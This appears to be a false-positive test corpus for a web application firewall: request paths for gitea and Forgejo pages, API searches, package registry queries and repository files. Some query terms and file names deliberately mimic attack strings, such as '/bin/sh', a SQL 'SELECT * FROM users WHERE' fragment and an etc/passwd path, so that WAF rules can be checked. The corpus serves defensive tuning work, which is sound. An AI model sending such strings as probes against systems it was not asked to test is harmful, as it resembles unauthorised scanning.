/org/acme/pulls/developers?type=your_repositories&sort=recentupdate&state=open&q=.htaccess&search_mode=exact
/org/acme/milestones/developers?type=&repos=%5B%5D&sort=&state=open&q=.htaccess
/org/acme/teams/-/search?q=.htaccess
/alice/-/code?q=.htaccess&search_mode=exact
/alice/-/projects?state=open&q=.htaccess
/alice/-/packages/generic/tools-cli/versions?q=.htaccess&sort=created_desc
/alice/-/packages/npm/@alice%2Ftools-cli/versions?q=.htaccess&sort=created_desc
/alice/tools/tags?q=.htaccess
/alice/tools/milestones?state=open&q=.htaccess
/alice/tools/milestone/1?q=.htaccess
/alice/tools/projects?state=open&q=.htaccess
/alice/tools/packages?q=.htaccess&type=
/alice/tools/issues/posters?q=.htaccess
/alice/tools/pulls/posters?q=.htaccess
/alice/tools/issues/search?q=.htaccess
/alice/tools/issues/suggestions?q=.htaccess
/-/admin/actions/runners?q=.htaccess
/user/settings/actions/runners?q=.htaccess
/org/acme/settings/actions/runners?q=.htaccess
/alice/tools/settings/actions/runners?q=.htaccess
/-/admin/users?q=.htaccess
/-/admin/orgs?q=.htaccess
/-/admin/repos?q=.htaccess&sort=recentupdate
/-/admin/repos/unadopted?search=true&q=.htaccess
/-/admin/emails?q=.htaccess
/-/admin/packages?q=.htaccess&type=
/explore/topics/search?q=docker-compose.yml
/pulls?type=your_repositories&sort=recentupdate&state=open&q=docker-compose.yml&search_mode=exact
/milestones?type=&repos=%5B2%2C1%2C%5D&sort=&state=open&q=docker-compose.yml
/issues/search?q=docker-compose.yml
/repo/search?sort=updated&order=desc&uid=1&team_id=undefined&q=docker-compose.yml&page=1&limit=15&mode=&archived=false
/user/search_candidates?q=docker-compose.yml
/notifications/watching?q=docker-compose.yml&sort=recentupdate
/org/acme/issues?type=your_repositories&sort=recentupdate&state=open&q=docker-compose.yml&search_mode=exact
/org/acme/pulls?type=your_repositories&sort=recentupdate&state=open&q=docker-compose.yml&search_mode=exact
/org/acme/milestones?type=&repos=%5B2%2C%5D&sort=&state=open&q=docker-compose.yml
/org/acme/issues/developers?type=your_repositories&sort=recentupdate&state=open&q=docker-compose.yml&search_mode=exact
/org/acme/pulls/developers?type=your_repositories&sort=recentupdate&state=open&q=docker-compose.yml&search_mode=exact
/org/acme/milestones/developers?type=&repos=%5B%5D&sort=&state=open&q=docker-compose.yml
/org/acme/teams/-/search?q=docker-compose.yml
/acme?q=docker-compose.yml&sort=recentupdate
/alice/-/code?q=docker-compose.yml&search_mode=exact
/alice/-/projects?state=open&q=docker-compose.yml
/alice/-/packages/generic/tools-cli/versions?q=docker-compose.yml&sort=created_desc
/alice/-/packages/npm/@alice%2Ftools-cli/versions?q=docker-compose.yml&sort=created_desc
/alice/tools/tags?q=docker-compose.yml
/alice/tools/milestones?state=open&q=docker-compose.yml
/alice/tools/milestone/1?q=docker-compose.yml
/alice/tools/projects?state=open&q=docker-compose.yml
/alice/tools/packages?q=docker-compose.yml&type=
/alice/tools/issues/posters?q=docker-compose.yml
/alice/tools/pulls/posters?q=docker-compose.yml
/alice/tools/issues/search?q=docker-compose.yml
/alice/tools/issues/suggestions?q=docker-compose.yml
/-/admin/actions/runners?q=docker-compose.yml
/user/settings/actions/runners?q=docker-compose.yml
/org/acme/settings/actions/runners?q=docker-compose.yml
/alice/tools/settings/actions/runners?q=docker-compose.yml
/-/admin/users?q=docker-compose.yml
/-/admin/orgs?q=docker-compose.yml
/-/admin/repos?q=docker-compose.yml&sort=recentupdate
/-/admin/repos/unadopted?search=true&q=docker-compose.yml
/-/admin/emails?q=docker-compose.yml
/-/admin/packages?q=docker-compose.yml&type=
/explore/topics/search?q=install-script.sh
/pulls?type=your_repositories&sort=recentupdate&state=open&q=install-script.sh&search_mode=exact
/milestones?type=&repos=%5B2%2C1%2C%5D&sort=&state=open&q=install-script.sh
/issues/search?q=install-script.sh
/repo/search?sort=updated&order=desc&uid=1&team_id=undefined&q=install-script.sh&page=1&limit=15&mode=&archived=false
/user/search_candidates?q=install-script.sh
/notifications/watching?q=install-script.sh&sort=recentupdate
/org/acme/issues?type=your_repositories&sort=recentupdate&state=open&q=install-script.sh&search_mode=exact
/org/acme/pulls?type=your_repositories&sort=recentupdate&state=open&q=install-script.sh&search_mode=exact
/org/acme/milestones?type=&repos=%5B2%2C%5D&sort=&state=open&q=install-script.sh
/org/acme/issues/developers?type=your_repositories&sort=recentupdate&state=open&q=install-script.sh&search_mode=exact
/org/acme/pulls/developers?type=your_repositories&sort=recentupdate&state=open&q=install-script.sh&search_mode=exact
/org/acme/milestones/developers?type=&repos=%5B%5D&sort=&state=open&q=install-script.sh
/org/acme/teams/-/search?q=install-script.sh
/acme?q=install-script.sh&sort=recentupdate
/alice/-/code?q=install-script.sh&search_mode=exact
/alice/-/projects?state=open&q=install-script.sh
/alice/-/packages/generic/tools-cli/versions?q=install-script.sh&sort=created_desc
/alice/-/packages/npm/@alice%2Ftools-cli/versions?q=install-script.sh&sort=created_desc
/alice/tools/tags?q=install-script.sh
/alice/tools/milestones?state=open&q=install-script.sh
/alice/tools/milestone/1?q=install-script.sh
/alice/tools/projects?state=open&q=install-script.sh
/alice/tools/packages?q=install-script.sh&type=
/alice/tools/issues/posters?q=install-script.sh
/alice/tools/pulls/posters?q=install-script.sh
/alice/tools/issues/search?q=install-script.sh
/alice/tools/issues/suggestions?q=install-script.sh
/-/admin/actions/runners?q=install-script.sh
/user/settings/actions/runners?q=install-script.sh
/org/acme/settings/actions/runners?q=install-script.sh
/alice/tools/settings/actions/runners?q=install-script.sh
/-/admin/users?q=install-script.sh
/-/admin/orgs?q=install-script.sh
/-/admin/repos?q=install-script.sh&sort=recentupdate
/-/admin/repos/unadopted?search=true&q=install-script.sh
/-/admin/emails?q=install-script.sh
/-/admin/packages?q=install-script.sh&type=
/explore/topics/search?q=release%20notes
/pulls?type=your_repositories&sort=recentupdate&state=open&q=release%20notes&search_mode=exact
/milestones?type=&repos=%5B2%2C1%2C%5D&sort=&state=open&q=release%20notes
/issues/search?q=release%20notes
/repo/search?sort=updated&order=desc&uid=1&team_id=undefined&q=release%20notes&page=1&limit=15&mode=&archived=false
/user/search_candidates?q=release%20notes
/notifications/watching?q=release%20notes&sort=recentupdate
/org/acme/issues?type=your_repositories&sort=recentupdate&state=open&q=release%20notes&search_mode=exact
/org/acme/pulls?type=your_repositories&sort=recentupdate&state=open&q=release%20notes&search_mode=exact
/org/acme/milestones?type=&repos=%5B2%2C%5D&sort=&state=open&q=release%20notes
/org/acme/issues/developers?type=your_repositories&sort=recentupdate&state=open&q=release%20notes&search_mode=exact
/org/acme/pulls/developers?type=your_repositories&sort=recentupdate&state=open&q=release%20notes&search_mode=exact
/org/acme/milestones/developers?type=&repos=%5B%5D&sort=&state=open&q=release%20notes
/org/acme/teams/-/search?q=release%20notes
/acme?q=release%20notes&sort=recentupdate
/alice/-/code?q=release%20notes&search_mode=exact
/alice/-/projects?state=open&q=release%20notes
/alice/-/packages/generic/tools-cli/versions?q=release%20notes&sort=created_desc
/alice/-/packages/npm/@alice%2Ftools-cli/versions?q=release%20notes&sort=created_desc
/alice/tools/tags?q=release%20notes
/alice/tools/milestones?state=open&q=release%20notes
/alice/tools/milestone/1?q=release%20notes
/alice/tools/projects?state=open&q=release%20notes
/alice/tools/packages?q=release%20notes&type=
/alice/tools/issues/posters?q=release%20notes
/alice/tools/pulls/posters?q=release%20notes
/alice/tools/issues/search?q=release%20notes
/alice/tools/issues/suggestions?q=release%20notes
/-/admin/actions/runners?q=release%20notes
/user/settings/actions/runners?q=release%20notes
/org/acme/settings/actions/runners?q=release%20notes
/alice/tools/settings/actions/runners?q=release%20notes
/-/admin/users?q=release%20notes
/-/admin/orgs?q=release%20notes
/-/admin/repos?q=release%20notes&sort=recentupdate
/-/admin/repos/unadopted?search=true&q=release%20notes
/-/admin/emails?q=release%20notes
/-/admin/packages?q=release%20notes&type=
/alice/tools/tags?q=%2Fbin%2Fsh
/alice/tools/packages?q=%2Fbin%2Fsh&type=
/-/admin/packages?q=%2Fbin%2Fsh&type=
/alice/tools/packages?q=org.apache.commons.logging&type=
/-/admin/packages?q=org.apache.commons.logging&type=
/org/acme/issues/developers?type=your_repositories&sort=recentupdate&state=open&q=SELECT%20%2A%20FROM%20users%20WHERE&search_mode=exact
/org/acme/pulls/developers?type=your_repositories&sort=recentupdate&state=open&q=SELECT%20%2A%20FROM%20users%20WHERE&search_mode=exact
/alice/tools/milestone/1?q=SELECT%20%2A%20FROM%20users%20WHERE
# The API's searches that gitea and Forgejo share, sent with curl to gitea
# 1.27.3. Each searches for words that name commands and files, such as python3
# and .htaccess, and for plain words. A package name can hold a slash, as npm's
# @alice/tools-cli does, so the search of packages is also sent /bin/sh. The
# search of unadopted repositories takes an owner and a name.
/api/v1/repos/search?q=python3&limit=10
/api/v1/repos/search?q=powershell&limit=10
/api/v1/repos/search?q=ls%20-la&limit=10
/api/v1/repos/search?q=.htaccess&limit=10
/api/v1/repos/search?q=docker-compose.yml&limit=10
/api/v1/repos/search?q=tools&limit=10
/api/v1/users/search?q=python3
/api/v1/users/search?q=powershell
/api/v1/users/search?q=ls%20-la
/api/v1/users/search?q=.htaccess
/api/v1/users/search?q=bob
/api/v1/repos/issues/search?q=python3&type=issues&state=open
/api/v1/repos/issues/search?q=powershell&type=issues&state=open
/api/v1/repos/issues/search?q=ls%20-la&type=issues&state=open
/api/v1/repos/issues/search?q=.htaccess&type=issues&state=open
/api/v1/repos/issues/search?q=docker-compose.yml&type=issues&state=open
/api/v1/repos/issues/search?q=build&type=issues&state=open
/api/v1/repos/alice/tools/issues?state=open&q=python3
/api/v1/repos/alice/tools/issues?state=open&q=powershell
/api/v1/repos/alice/tools/issues?state=open&q=ls%20-la
/api/v1/repos/alice/tools/issues?state=open&q=.htaccess
/api/v1/repos/alice/tools/issues?state=open&q=docker-compose.yml
/api/v1/packages/alice?q=python3
/api/v1/packages/alice?q=powershell
/api/v1/packages/alice?q=ls%20-la
/api/v1/packages/alice?q=.htaccess
/api/v1/packages/alice?q=%2Fbin%2Fsh
/api/v1/packages/alice?q=install-script
/api/v1/packages/alice?q=%40alice%2Ftools-cli
/api/v1/topics/search?q=python3
/api/v1/topics/search?q=powershell
/api/v1/topics/search?q=ls%20-la
/api/v1/topics/search?q=.htaccess
/api/v1/topics/search?q=docker
/api/v1/orgs/acme/teams/search?q=python3
/api/v1/orgs/acme/teams/search?q=powershell
/api/v1/orgs/acme/teams/search?q=ls%20-la
/api/v1/orgs/acme/teams/search?q=.htaccess
/api/v1/orgs/acme/teams/search?q=developers
/api/v1/admin/emails/search?q=python3
/api/v1/admin/emails/search?q=powershell
/api/v1/admin/emails/search?q=ls%20-la
/api/v1/admin/emails/search?q=.htaccess
/api/v1/admin/emails/search?q=alice
/api/v1/admin/unadopted?query=python3
/api/v1/admin/unadopted?query=powershell
/api/v1/admin/unadopted?query=ls%20-la
/api/v1/admin/unadopted?query=.htaccess
/api/v1/admin/unadopted?query=alice%2Fpython3-app
/api/v1/admin/unadopted?query=alice%2Flegacy-site
/api/v1/repos/alice/tools/milestones?state=open&name=python3
/api/v1/repos/alice/tools/milestones?state=open&name=powershell
/api/v1/repos/alice/tools/milestones?state=open&name=ls%20-la
/api/v1/repos/alice/tools/milestones?state=open&name=.htaccess
/api/v1/repos/alice/tools/milestones?state=open&name=v1.0
# The package registries' searches, sent to gitea 1.27.3 by each registry's own
# client: cargo, knife, composer, conan 1 and 2, dotnet and npm. curl sent the
# requests no client sends: the Chef cookbook list with a search, and NuGet's
# Packages() with the search in $filter, as NuGet's client builds it for a feed
# without Search(). curl also sent each NuGet Search() and Packages() search to
# Search()/$count and Packages()/$count, which count its results. Each searches
# for words that name commands and files, such as python3 and .htaccess, and
# for plain words. A Composer, Conan or npm name can hold a slash, so those
# searches are also sent /bin/sh.
/api/packages/alice/cargo/api/v1/crates?q=python3&per_page=10
/api/packages/alice/cargo/api/v1/crates?q=powershell&per_page=10
/api/packages/alice/cargo/api/v1/crates?q=ls%20%2Dla&per_page=10
/api/packages/alice/cargo/api/v1/crates?q=%2Ehtaccess&per_page=10
/api/packages/alice/cargo/api/v1/crates?q=docker%2Dcompose%2Eyml&per_page=10
/api/packages/alice/cargo/api/v1/crates?q=tools&per_page=10
/api/packages/alice/chef/api/v1/search?q=python3&items=9999999&start=0
/api/packages/alice/chef/api/v1/search?q=powershell&items=9999999&start=0
/api/packages/alice/chef/api/v1/search?q=ls%20-la&items=9999999&start=0
/api/packages/alice/chef/api/v1/search?q=.htaccess&items=9999999&start=0
/api/packages/alice/chef/api/v1/search?q=docker-compose.yml&items=9999999&start=0
/api/packages/alice/chef/api/v1/search?q=tools&items=9999999&start=0
/api/packages/alice/chef/api/v1/cookbooks?q=python3&items=9999999&start=0
/api/packages/alice/chef/api/v1/cookbooks?q=powershell&items=9999999&start=0
/api/packages/alice/chef/api/v1/cookbooks?q=ls%20-la&items=9999999&start=0
/api/packages/alice/chef/api/v1/cookbooks?q=.htaccess&items=9999999&start=0
/api/packages/alice/chef/api/v1/cookbooks?q=docker-compose.yml&items=9999999&start=0
/api/packages/alice/chef/api/v1/cookbooks?q=tools&items=9999999&start=0
/api/packages/alice/composer/search.json?q=python3&type=
/api/packages/alice/composer/search.json?q=powershell&type=
/api/packages/alice/composer/search.json?q=ls+-la&type=
/api/packages/alice/composer/search.json?q=.htaccess&type=
/api/packages/alice/composer/search.json?q=%2Fbin%2Fsh&type=
/api/packages/alice/composer/search.json?q=alice%2Ftools-cli&type=
/api/packages/alice/composer/search.json?q=docker-compose.yml&type=
/api/packages/alice/composer/search.json?q=tools&type=
/api/packages/alice/conan/v1/conans/search?q=python3
/api/packages/alice/conan/v1/conans/search?q=powershell
/api/packages/alice/conan/v1/conans/search?q=ls+-la
/api/packages/alice/conan/v1/conans/search?q=.htaccess
/api/packages/alice/conan/v1/conans/search?q=%2Fbin%2Fsh
/api/packages/alice/conan/v1/conans/search?q=tools%2F%2A
/api/packages/alice/conan/v1/conans/search?q=docker-compose.yml
/api/packages/alice/conan/v1/conans/search?q=tools
/api/packages/alice/conan/v2/conans/search?q=python3
/api/packages/alice/conan/v2/conans/search?q=powershell
/api/packages/alice/conan/v2/conans/search?q=ls+-la
/api/packages/alice/conan/v2/conans/search?q=.htaccess
/api/packages/alice/conan/v2/conans/search?q=%2Fbin%2Fsh
/api/packages/alice/conan/v2/conans/search?q=tools%2F1.0%40alice%2Fstable
/api/packages/alice/conan/v2/conans/search?q=docker-compose.yml
/api/packages/alice/conan/v2/conans/search?q=tools
/api/packages/alice/nuget/query?q=python3&skip=0&take=20&prerelease=false&semVerLevel=2.0.0
/api/packages/alice/nuget/query?q=powershell&skip=0&take=20&prerelease=false&semVerLevel=2.0.0
/api/packages/alice/nuget/query?q=ls%20-la&skip=0&take=20&prerelease=false&semVerLevel=2.0.0
/api/packages/alice/nuget/query?q=.htaccess&skip=0&take=20&prerelease=false&semVerLevel=2.0.0
/api/packages/alice/nuget/query?q=docker-compose.yml&skip=0&take=20&prerelease=false&semVerLevel=2.0.0
/api/packages/alice/nuget/query?q=tools&skip=0&take=20&prerelease=false&semVerLevel=2.0.0
/api/packages/alice/nuget/Search()?$filter=IsLatestVersion&searchTerm='python3'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0
/api/packages/alice/nuget/Search()?$filter=IsLatestVersion&searchTerm='powershell'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0
/api/packages/alice/nuget/Search()?$filter=IsLatestVersion&searchTerm='ls%20-la'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0
/api/packages/alice/nuget/Search()?$filter=IsLatestVersion&searchTerm='.htaccess'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0
/api/packages/alice/nuget/Search()?$filter=IsLatestVersion&searchTerm='docker-compose.yml'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0
/api/packages/alice/nuget/Search()?$filter=IsLatestVersion&searchTerm='tools'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0
/api/packages/alice/nuget/Packages()?$filter=((((Id%20ne%20null)%20and%20substringof('python3',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('python3',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20python3%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0
/api/packages/alice/nuget/Packages()?$filter=((((Id%20ne%20null)%20and%20substringof('powershell',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('powershell',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20powershell%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0
/api/packages/alice/nuget/Packages()?$filter=(((((((Id%20ne%20null)%20and%20substringof('ls',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('ls',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20ls%20',tolower(Tags))))%20or%20((Id%20ne%20null)%20and%20substringof('-la',tolower(Id))))%20or%20((Description%20ne%20null)%20and%20substringof('-la',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20-la%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0
/api/packages/alice/nuget/Packages()?$filter=((((Id%20ne%20null)%20and%20substringof('.htaccess',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('.htaccess',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20.htaccess%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0
/api/packages/alice/nuget/Packages()?$filter=((((Id%20ne%20null)%20and%20substringof('docker-compose.yml',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('docker-compose.yml',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20docker-compose.yml%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0
/api/packages/alice/nuget/Packages()?$filter=((((Id%20ne%20null)%20and%20substringof('tools',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('tools',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20tools%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0
/api/packages/alice/nuget/Packages()?$filter=tolower(Id)%20eq%20'python3'&$top=30
/api/packages/alice/nuget/Packages()?$filter=tolower(Id)%20eq%20'powershell'&$top=30
/api/packages/alice/nuget/Packages()?$filter=tolower(Id)%20eq%20'.htaccess'&$top=30
/api/packages/alice/nuget/Packages()?$filter=tolower(Id)%20eq%20'docker-compose.yml'&$top=30
/api/packages/alice/nuget/Packages()?$filter=tolower(Id)%20eq%20'tools'&$top=30
/api/packages/alice/nuget/Search()/$count?$filter=IsLatestVersion&searchTerm='python3'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0
/api/packages/alice/nuget/Search()/$count?$filter=IsLatestVersion&searchTerm='powershell'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0
/api/packages/alice/nuget/Search()/$count?$filter=IsLatestVersion&searchTerm='ls%20-la'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0
/api/packages/alice/nuget/Search()/$count?$filter=IsLatestVersion&searchTerm='.htaccess'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0
/api/packages/alice/nuget/Search()/$count?$filter=IsLatestVersion&searchTerm='docker-compose.yml'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0
/api/packages/alice/nuget/Search()/$count?$filter=IsLatestVersion&searchTerm='tools'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0
/api/packages/alice/nuget/Packages()/$count?$filter=((((Id%20ne%20null)%20and%20substringof('python3',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('python3',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20python3%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0
/api/packages/alice/nuget/Packages()/$count?$filter=((((Id%20ne%20null)%20and%20substringof('powershell',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('powershell',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20powershell%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0
/api/packages/alice/nuget/Packages()/$count?$filter=(((((((Id%20ne%20null)%20and%20substringof('ls',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('ls',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20ls%20',tolower(Tags))))%20or%20((Id%20ne%20null)%20and%20substringof('-la',tolower(Id))))%20or%20((Description%20ne%20null)%20and%20substringof('-la',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20-la%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0
/api/packages/alice/nuget/Packages()/$count?$filter=((((Id%20ne%20null)%20and%20substringof('.htaccess',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('.htaccess',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20.htaccess%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0
/api/packages/alice/nuget/Packages()/$count?$filter=((((Id%20ne%20null)%20and%20substringof('docker-compose.yml',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('docker-compose.yml',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20docker-compose.yml%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0
/api/packages/alice/nuget/Packages()/$count?$filter=((((Id%20ne%20null)%20and%20substringof('tools',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('tools',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20tools%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0
/api/packages/alice/nuget/Packages()/$count?$filter=tolower(Id)%20eq%20'python3'&$top=30
/api/packages/alice/nuget/Packages()/$count?$filter=tolower(Id)%20eq%20'powershell'&$top=30
/api/packages/alice/nuget/Packages()/$count?$filter=tolower(Id)%20eq%20'.htaccess'&$top=30
/api/packages/alice/nuget/Packages()/$count?$filter=tolower(Id)%20eq%20'docker-compose.yml'&$top=30
/api/packages/alice/nuget/Packages()/$count?$filter=tolower(Id)%20eq%20'tools'&$top=30
/api/packages/alice/npm/-/v1/search?text=python3&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5
/api/packages/alice/npm/-/v1/search?text=powershell&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5
/api/packages/alice/npm/-/v1/search?text=ls+-la&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5
/api/packages/alice/npm/-/v1/search?text=.htaccess&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5
/api/packages/alice/npm/-/v1/search?text=%2Fbin%2Fsh&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5
/api/packages/alice/npm/-/v1/search?text=%40alice%2Ftools-cli&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5
/api/packages/alice/npm/-/v1/search?text=docker-compose.yml&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5
/api/packages/alice/npm/-/v1/search?text=tools&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5
# Pages, raw files and edit pages of files, and the API's call for their
# contents.
/owner/repo/src/branch/main/package.json
/owner/repo/raw/branch/main/package.json
/owner/repo/_edit/main/package.json
/api/v1/repos/owner/repo/contents/package.json
/owner/repo/src/branch/main/.gitignore
/owner/repo/raw/branch/main/.gitignore
/owner/repo/_edit/main/.gitignore
/api/v1/repos/owner/repo/contents/.gitignore
/owner/repo/src/branch/main/docker-compose.yml
/owner/repo/raw/branch/main/docker-compose.yml
/owner/repo/_edit/main/docker-compose.yml
/api/v1/repos/owner/repo/contents/docker-compose.yml
/owner/repo/src/branch/main/Dockerfile
/owner/repo/raw/branch/main/Dockerfile
/owner/repo/_edit/main/Dockerfile
/api/v1/repos/owner/repo/contents/Dockerfile
/owner/repo/src/branch/main/.htaccess
/owner/repo/raw/branch/main/.htaccess
/owner/repo/_edit/main/.htaccess
/api/v1/repos/owner/repo/contents/.htaccess
/owner/repo/src/branch/main/rootfs/etc/passwd
/owner/repo/raw/branch/main/rootfs/etc/passwd
/owner/repo/_edit/main/rootfs/etc/passwd
/api/v1/repos/owner/repo/contents/rootfs/etc/passwd
/owner/repo/src/branch/main/bin/docker-entrypoint
/owner/repo/raw/branch/main/bin/docker-entrypoint
/owner/repo/_edit/main/bin/docker-entrypoint
/api/v1/repos/owner/repo/contents/bin/docker-entrypoint
/owner/repo/src/branch/main/scripts/python3-setup.sh
/owner/repo/raw/branch/main/scripts/python3-setup.sh
/owner/repo/_edit/main/scripts/python3-setup.sh
/api/v1/repos/owner/repo/contents/scripts/python3-setup.sh
/owner/repo/src/branch/main/src/java.base/share/classes/java/lang/Runtime.java
/owner/repo/raw/branch/main/src/java.base/share/classes/java/lang/Runtime.java
/owner/repo/_edit/main/src/java.base/share/classes/java/lang/Runtime.java
/api/v1/repos/owner/repo/contents/src/java.base/share/classes/java/lang/Runtime.java
/owner/repo/src/branch/main/java.lang.String.md
/owner/repo/raw/branch/main/java.lang.String.md
/owner/repo/_edit/main/java.lang.String.md
/api/v1/repos/owner/repo/contents/java.lang.String.md
/owner/repo/src/branch/main/META-INF/services/org.apache.commons.logging.LogFactory
/owner/repo/raw/branch/main/META-INF/services/org.apache.commons.logging.LogFactory
/owner/repo/_edit/main/META-INF/services/org.apache.commons.logging.LogFactory
/api/v1/repos/owner/repo/contents/META-INF/services/org.apache.commons.logging.LogFactory
/owner/repo/src/branch/main/process.env.d.ts
/owner/repo/raw/branch/main/process.env.d.ts
/owner/repo/_edit/main/process.env.d.ts
/api/v1/repos/owner/repo/contents/process.env.d.ts
/owner/repo/src/branch/main/document.write.js
/owner/repo/raw/branch/main/document.write.js
/owner/repo/_edit/main/document.write.js
/api/v1/repos/owner/repo/contents/document.write.js
/owner/repo/src/branch/main/test/fixtures/__proto__.json
/owner/repo/raw/branch/main/test/fixtures/__proto__.json
/owner/repo/_edit/main/test/fixtures/__proto__.json
/api/v1/repos/owner/repo/contents/test/fixtures/__proto__.json
/owner/repo/src/branch/main/install-script.sh
/owner/repo/raw/branch/main/install-script.sh
/owner/repo/_edit/main/install-script.sh
/api/v1/repos/owner/repo/contents/install-script.sh
/owner/repo/src/branch/main/src/backend/catalog/information_schema.sql
/owner/repo/raw/branch/main/src/backend/catalog/information_schema.sql
/owner/repo/_edit/main/src/backend/catalog/information_schema.sql
/api/v1/repos/owner/repo/contents/src/backend/catalog/information_schema.sql
/owner/repo/src/branch/main/docs/a%20b.xhtml
/owner/repo/raw/branch/main/docs/a%20b.xhtml
/owner/repo/_edit/main/docs/a%20b.xhtml
/api/v1/repos/owner/repo/contents/docs/a%20b.xhtml
/owner/repo/src/branch/main/%5Bdraft%5D.md
/owner/repo/raw/branch/main/%5Bdraft%5D.md
/owner/repo/_edit/main/%5Bdraft%5D.md
/api/v1/repos/owner/repo/contents/%5Bdraft%5D.md
/owner/repo/src/branch/main/notes.txt~
/owner/repo/raw/branch/main/notes.txt~
/owner/repo/_edit/main/notes.txt~
/api/v1/repos/owner/repo/contents/notes.txt~
# The download, blame, history, delete and preview pages of the files above
# whose names the Core Rule Set checks in the path, and their downloads as
# release attachments.
/owner/repo/media/branch/main/notes.txt~
/owner/repo/blame/branch/main/notes.txt~
/owner/repo/commits/branch/main/notes.txt~
/owner/repo/_delete/main/notes.txt~
/owner/repo/media/branch/main/process.env.d.ts
/owner/repo/blame/branch/main/process.env.d.ts
/owner/repo/commits/branch/main/process.env.d.ts
/owner/repo/_delete/main/process.env.d.ts
/owner/repo/media/branch/main/docs/a%20b.xhtml
/owner/repo/blame/branch/main/docs/a%20b.xhtml
/owner/repo/commits/branch/main/docs/a%20b.xhtml
/owner/repo/_delete/main/docs/a%20b.xhtml
/owner/repo/media/branch/main/java.lang.String.md
/owner/repo/blame/branch/main/java.lang.String.md
/owner/repo/commits/branch/main/java.lang.String.md
/owner/repo/_delete/main/java.lang.String.md
/owner/repo/_preview/main/notes.txt~
/owner/repo/_preview/main/process.env.d.ts
/owner/repo/_preview/main/java.lang.String.md
/owner/repo/releases/download/v1.0/notes.txt~
/owner/repo/releases/download/v1.0/process.env.d.ts
/owner/repo/releases/download/v1.0/java.lang.String.md
/owner/repo/releases/download/v1.0/a%20b.xhtml
# File names in the query string: the commit graph of a file, the API's lists
# of its commits and of its contents, an issue opened from a template, the
# sign-in page on the way to its edit page, and a diff's hidden lines.
/owner/repo/graph?file=package.json
/api/v1/repos/owner/repo/commits?path=package.json
/api/v1/repos/owner/repo/file-contents?body=%7B%22files%22%3A%5B%22package.json%22%5D%7D
/owner/repo/issues/new?template=.gitea%2FISSUE_TEMPLATE%2Fpackage.json
/user/login?redirect_to=%2Fowner%2Frepo%2F_edit%2Fmain%2Fpackage.json
/owner/repo/graph?file=.gitignore
/api/v1/repos/owner/repo/commits?path=.gitignore
